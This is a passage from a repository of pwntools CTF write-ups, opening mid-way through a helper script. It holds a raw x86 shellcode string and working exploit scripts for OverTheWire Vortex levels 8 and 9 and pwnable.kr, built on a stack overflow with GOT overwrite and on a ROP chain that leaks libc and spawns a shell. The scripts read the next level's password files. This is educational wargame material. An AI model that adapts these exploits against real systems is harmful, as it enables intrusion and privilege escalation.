SC=$'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80' 16 | export PWD=`pwd` 17 | 18 | IFS=" " 19 | unsetenv=(`echo -n 'env -u SSH_CLIENT -u SSH_TTY -u USER -u MAIL -u SSH_CONNECTION -u LOGNAME -u HOME -u LANG -u _ -u TERM COLUMNS=157 LINES=32'`) 20 | envlist=() 21 | fname="" 22 | # "CMD=sh" "ADDR=`perl -e 'print pack("V", 0x1672a0)'`" 23 | 24 | # ----------------------------------------------------- 25 | # put envorder.c source 26 | # ----------------------------------------------------- 27 | function put_envorder_source { 28 | cat > .envorder.c < 30 | #include 31 | extern char ** environ; 32 | int main(int argc, char *argv[]) { 33 | int i,j; 34 | FILE * fd = fopen(".gdblist", "w"); 35 | for (i = 0; environ[i] != NULL; i++) { 36 | unsigned char *q, *p; 37 | p = strchr(environ[i],(int)'='); 38 | q = environ[i]; 39 | while (q != p) 40 | fprintf(fd, "\\\\x%02x", *q++); 41 | q++; 42 | fprintf(fd, "="); 43 | while (*q) 44 | fprintf(fd, "\\\\x%02x", *q++); 45 | fprintf(fd, "\\\\x0a\n"); 46 | } 47 | fclose(fd); 48 | return 0; 49 | } 50 | EOF 51 | } 52 | 53 | 54 | # ----------------------------------------------------- 55 | # put getvar.c source 56 | # ----------------------------------------------------- 57 | function put_getvar_source { 58 | cat > .getvar.c < 60 | #include 61 | void printvar(char * p, char * varname) { 62 | unsigned char *q; 63 | q = (unsigned char *)&p; 64 | printf("%p \\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x (%s)\\n", p, *q, *(q+1), *(q+2), *(q+3), varname); 65 | } 66 | int main(int argc, char *argv[], char *env[]) { 67 | if (argc == 2) { 68 | printvar((char*)getenv(argv[1]), argv[1]); 69 | } else { 70 | int i; 71 | char *p; 72 | for (i = 0; env[i] != NULL; i++) { 73 | p = strchr(env[i], (int)'='); 74 | if (p) { 75 | *p++ = 0; 76 | printvar(p, env[i]); 77 | } 78 | } 79 | } 80 | return 0; 81 | } 82 | EOF 83 | } 84 | 85 | 86 | # ----------------------------------------------------- 87 | # put dump.c source 88 | # ----------------------------------------------------- 89 | function put_dump_source { 90 | cat > .dump.c < 92 | #include 93 | #include 94 | #include 95 | #include 96 | 97 | #define DEFAULT_SIZE 0x200 98 | 99 | int main (int argc, char* argv[], char *env[]) { 100 | unsigned char *p, *c, *start, *end; 101 | start = (void *) ((unsigned int)argv & 0xfffff000); 102 | end = start + 0x1000; 103 | start = end - DEFAULT_SIZE; 104 | 105 | if (argc >= 2) 106 | sscanf(argv[1], "%p", &start); 107 | if (argc >= 3) 108 | end = start + abs(atoi(argv[2])); 109 | fprintf(stderr, "From %p to %p\n", start, end); 110 | for (p = start; p < end; p += 16) { 111 | printf("%08x ", p); 112 | for (c = p; c < p+16; c++) 113 | printf("%s%02x", (((unsigned int)c & 0x1) ? "" : " "), *c); 114 | printf(" "); 115 | for (c = p; c < p+16; c++) 116 | printf("%c", (isprint(*c) ? *c : '.')); 117 | printf("\n"); 118 | } 119 | return 0; 120 | } 121 | EOF 122 | } 123 | 124 | 125 | # ----------------------------------------------------- 126 | # prints env-variable(s) address in memory 127 | # ----------------------------------------------------- 128 | function getvar { 129 | if [ ! -f ".getvar.c" ]; then 130 | put_getvar_source 131 | rm -f .getvar 132 | fi 133 | if [ ! -f ".getvar" ]; then 134 | gcc .getvar.c -o .getvar 135 | fi 136 | runprog "./.getvar" "${@:1}" 137 | } 138 | 139 | 140 | # ----------------------------------------------------- 141 | # prints env-variable(s) address in memory 142 | # ----------------------------------------------------- 143 | function dump { 144 | if [ ! -f ".dump.c" ]; then 145 | put_dump_source 146 | rm -f .dump 147 | fi 148 | if [ ! -f ".dump" ]; then 149 | gcc .dump.c -o .dump 150 | fi 151 | runprog "./.dump" "${@:1}" 152 | } 153 | 154 | 155 | # ----------------------------------------------------- 156 | # gets env-vars, ordered as env-vars in gdb 157 | # resulting array is in envlist (global) 158 | # ----------------------------------------------------- 159 | function getenvs { 160 | if [ ! -f ".envorder.c" ]; then 161 | put_envorder_source 162 | rm -f .envorder 163 | fi 164 | if [ ! -f ".envorder" ]; then 165 | gcc .envorder.c -o .envorder 166 | fi 167 | IFS="" 168 | "${unsetenv[@]}" gdb "`pwd`/.envorder" >/dev/null 2>&1 < -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level8/vortex8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level8/vortex8 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level8/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | context(arch = 'i386', os = 'linux') 5 | 6 | 7 | level = 8 8 | host = 'vortex.labs.overthewire.org' 9 | user = 'vortex%i' % level 10 | chal = 'vortex%i' % level 11 | password = args['PASSWORD'] 12 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 13 | binary = '/vortex/%s' % chal 14 | shell = ssh(host=host, user=user, password=password) 15 | 16 | if not os.path.exists(chal): 17 | shell.download_file(binary) 18 | os.chmod(chal, 0755) 19 | 20 | elf = ELF('./vortex8') 21 | 22 | # Helper script to make addresses sane 23 | shell.set_working_directory() 24 | shell.upload_file('r.sh') 25 | 26 | # 27 | # Find ESP by running the binary under GDB with the r.sh script 28 | # and breaking on 0x0804861f 29 | # 30 | log.info("Finding ESP by breaking on:\n%s" % elf.disasm(0x0804861f, 1)) 31 | gdb = shell.run("bash r.sh gdb %s $'%s'" % (binary, cyclic(1200))) 32 | gdb.send(""" 33 | set prompt 34 | break *0x0804861f 35 | run 36 | """) 37 | gdb.clean(2) 38 | gdb.sendline('printf "%p\\n",$sp') 39 | 40 | ESP = eval(gdb.recv().strip()) 41 | log.info("ESP: %#x" % ESP) 42 | 43 | gdb.sendline('kill') 44 | gdb.sendline('quit') 45 | 46 | # If we just run with a cyclic, we crash with the following 47 | # register context: 48 | # 49 | # EBP: 0x6b616169 (b'iaak') 50 | # EIP: 0x6b61616a (b'jaak') 51 | # 52 | # Shellcode would normally come right after this. 53 | pattern = cyclic(cyclic_find('iaak')) 54 | pattern += p32(ESP+0) 55 | pattern += p32(ESP+5) 56 | 57 | # First, change the permissions of all memory to RWX 58 | pattern += '\x90' 59 | pattern += asm(shellcraft.mprotect_all()) 60 | 61 | # Next swap out the pointer for sleep() 62 | pattern += asm(shellcraft.i386.pushstr(p32(elf.got['sleep']))) 63 | pattern += asm(''' 64 | pop eax 65 | 66 | jmp GET_STAGE2 67 | HAVE_STAGE2: 68 | pop esi 69 | mov [eax], esi 70 | 71 | push SYS_exit 72 | pop eax 73 | int 0x80 74 | 75 | GET_STAGE2: 76 | call HAVE_STAGE2 77 | ''') 78 | 79 | pattern += asm(shellcraft.sh()) 80 | 81 | # Pad the pattern out to the same length 82 | pattern += cyclic(1200 - len(pattern)) 83 | assert '\x00' not in pattern 84 | 85 | # Sploit 86 | sh = shell.run("bash r.sh %s $%r" % (binary, pattern)) 87 | sh.clean(2) 88 | 89 | # Win 90 | sh.sendline('id') 91 | log.success('id: ' + sh.recvline().strip()) 92 | 93 | sh.sendline('cat %s' % passfile) 94 | password = sh.recvline().strip() 95 | log.success('Password: %s' % password) 96 | 97 | print password 98 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level9/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 9 2 | 3 | So you're supposed to just search around a bit. There aren't any interesting setuid binaries. 4 | 5 | Most of the files don't stand out. However, ones stands alone and doesn't have 20 others like it. 6 | 7 | 8 | ``` 9 | $ find . 2>/dev/null | grep vort 10 | ... 11 | ./var/mail/vortex9 12 | ... 13 | $ cat ./var/mail/vortex9 14 | 5WT0}swdc 15 | ``` 16 | 17 | Tada. 18 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level9/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level9/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | 5 | level = 9 6 | host = 'vortex.labs.overthewire.org' 7 | user = 'vortex%i' % level 8 | chal = 'vortex%i' % level 9 | password = args['PASSWORD'] 10 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 11 | binary = '/vortex/%s' % chal 12 | shell = ssh(host=host, user=user, password=password) 13 | 14 | password = shell.cat('/var/mail/vortex9') 15 | log.success('Password: %s' % password) 16 | 17 | print password 18 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for level in $(seq 0 13); 4 | do 5 | cd level$level 6 | echo python $PWD/win.py SILENT PASSWORD=$PASS 7 | PASS="$(python win.py SILENT PASSWORD="$PASS")" 8 | echo "Password: $PASS" 9 | cd .. 10 | done 11 | 12 | echo $PASS 13 | -------------------------------------------------------------------------------- /wargames/pwnablekr/pwn_unexploitable.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | 4 | s = ssh(host="pwnable.kr", user="unexploitable", port=2222, password="guest") 5 | s.download_file("unexploitable") 6 | s.download_file("/lib/x86_64-linux-gnu/libc.so.6") 7 | 8 | bin = ELF("./unexploitable") 9 | libc = ELF("libc.so.6") 10 | 11 | io = s.run("/home/unexploitable/unexploitable") 12 | 13 | #x86_64 particular gadget, may be can be finded on any ELF64 binary 14 | general_gg1 = 0x00000000004005F6 15 | general_gg2 = 0x00000000004005E0 16 | 17 | def ropfunc(function, arg1=0, arg2=0, arg3=0): 18 | padding = "" 19 | padding += p64(general_gg1) 20 | padding += "P" * 8 21 | padding += p64(0) 22 | padding += p64(1) 23 | padding += p64(bin.got[function]) 24 | padding += p64(arg1) 25 | padding += p64(arg2) 26 | padding += p64(arg3) 27 | padding += p64(general_gg2) 28 | padding += "P" * 0x38 29 | return padding 30 | 31 | shellcode = "A"*16 + "B"*8 32 | shellcode += ropfunc("puts", bin.got["puts"]) 33 | shellcode += ropfunc("read", 0, bin.got["__libc_start_main"], 16) 34 | shellcode += ropfunc("__libc_start_main", bin.got["__libc_start_main"] + 8) # as system("sh") 35 | 36 | io.recvuntil("otherwise :)"+"\n") 37 | io.send(shellcode + "\n") 38 | 39 | putsaddr = io.recvuntil("\n").strip("\n") 40 | putsaddr = u64(putsaddr + (8-len(putsaddr))*"\x00") 41 | print "[+] leak puts() addr: ", hex(putsaddr) 42 | system_addr = putsaddr - libc.symbols["puts"]+ libc.symbols["system"] 43 | print "[+] leak system() addr: ", hex(system_addr) 44 | 45 | shellcode2 = p64(system_addr) 46 | shellcode2 += "sh\x00\x00\x00\x00\x00\x00" 47 | io.sendline(shellcode2) 48 | io.interactive() 49 | 50 | --------------------------------------------------------------------------------